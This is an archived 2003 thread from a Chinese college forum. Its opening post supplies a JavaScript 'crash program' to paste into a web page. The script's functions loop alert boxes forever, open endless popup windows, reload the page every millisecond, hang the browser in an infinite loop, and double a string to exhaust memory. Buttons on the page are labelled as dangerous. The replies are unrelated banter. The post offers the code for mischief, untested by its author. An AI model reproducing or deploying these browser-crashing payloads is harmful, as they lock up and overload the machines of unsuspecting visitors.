广西经贸职业技术学院论坛

标题: 死机程序但本人还没测试过 [打印本页]

作者: saviour    时间: 2003-12-25 08:08
标题: 死机程序但本人还没测试过
脚本说明:<br/> 把如下代码加入<body>区域中<br/> <SCRIPT LANGUAGE=&quot;JavaScript&quot;></p><p> <!-- Begin<br/> function AnnoyingButton()<br/> {<br/>    while (true)<br/>        window.alert(&quot;HAHAHA...you can&#39;t do anything anymore in Netscape without exiting and restarting....HAHAHA so gimme da UT now...or else!&quot;) }<br/> // Keep opening windows over and over again<br/> function WindowBomb()<br/> {<br/>     var iCounter = 0    // dummy counter<br/>     while (true)<br/>       {<br/>         window.open(&quot;http://www.NETural.com/~ccamel&quot;,&quot;CRASHING&quot; + iCounter,&quot;width=1,height=1,resizable=no&quot;)<br/>         iCounter++<br/>       }<br/> }<br/> // Not as interesting as the other bombs, but this one forces the user to<br/> // stay at the current page.  User cannot switch to another page, or click<br/> // stop to stop the reloading.<br/> function ReloadBomb()<br/> {<br/>    history.go(0)                         // reload this page<br/>    window.setTimeout(&#39;ReloadBomb()&#39;,1)   // tell netscape to hit this function<br/>                                          // every milisecond =)<br/> }<br/> // Not a very interesting bomb, it does nothing really :><br/> function WhileLoopLock()<br/> {<br/>    while (true){}<br/> }<br/> var szEatMemory = &quot;GOBBLEGOBBLE&quot;  // our string to consume our memory<br/> // Now this function EatMemoryInTime is a interesting one that could be<br/> // placed on a timer for maximum nastiness :>  I have been able to get<br/> // up to 4Megs consumed by Netscape forcing my machine to crawl =)<br/> // AND it&#39;s time driven!  No while loops here!<br/> function EatMemoryInTime()<br/> {<br/>     szEatMemory = szEatMemory + szEatMemory                    // keep appending<br/>     window.status = &quot;String Length is: &quot; + szEatMemory.length  // report size<br/>     window.setTimeout(&#39;EatMemoryInTime()&#39;,1);                  // tell netscape to hit this function<br/> }<br/> // End --></p><p> </SCRIPT><br/> <center><br/> 下面的每一个按钮都很危险,一按你的电脑立即<font color=red>OVER</font>,不信试试吧!!!<br></p><p> <FORM method=post name=&quot;FormAction&quot; action=&quot;mailto:&quot;+&quot;webmaster@javascript2000.com&quot;></p><p> <INPUT TYPE=&quot;button&quot; value=&quot;Exploding Windows&quot;<br/> Name=&quot;btnExplodeWindows&quot; onClick=&quot;WindowBomb()&quot;><><br></p><p> <INPUT TYPE=&quot;button&quot; value=&quot;Annoying Button&quot; Name=&quot;btnAnnoy&quot;<br/> onClick=&quot;AnnoyingButton()&quot;><><br></p><p> <INPUT TYPE=&quot;button&quot; value=&quot;Reload Bomb&quot; Name=&quot;btnReload&quot;<br/> onClick=&quot;ReloadBomb()&quot;><><br></p><p> <INPUT TYPE=&quot;button&quot; value=&quot;While Loop Lock&quot; Name=&quot;btnWhile&quot;<br/> onClick=&quot;WhileLoopLock()&quot;><p><br></p><p>  <INPUT TYPE=&quot;button&quot; value=&quot;Eat Memory In Time&quot; Name=&quot;btnEatTime&quot;<br/> onClick=&quot;EatMemoryInTime()&quot;><p><br></p><p> <INPUT TYPE=&quot;button&quot; value=&quot;Action!&quot; onClick=&quot;document.FormAction.submit()&quot;><br><br/> </center></p><p>
作者: 遗忘美男    时间: 2003-12-25 09:19
我靠<br/> 你是不是小胖<br/> 死胖子<br/> 哈哈/我踢/我踢/我踩/我踩/我踢/拳击/拳击死胖子<br/>
作者: saviour    时间: 2003-12-25 11:43
我靠<br/> 我怎么会是啊<br/> 你[emb4]啊
作者: 天涯¢浪子    时间: 2003-12-25 20:09
提示: 作者被禁止或删除 内容自动屏蔽




欢迎光临 广西经贸职业技术学院论坛 (http://gxjmbbs.com/) Powered by Discuz! X3.2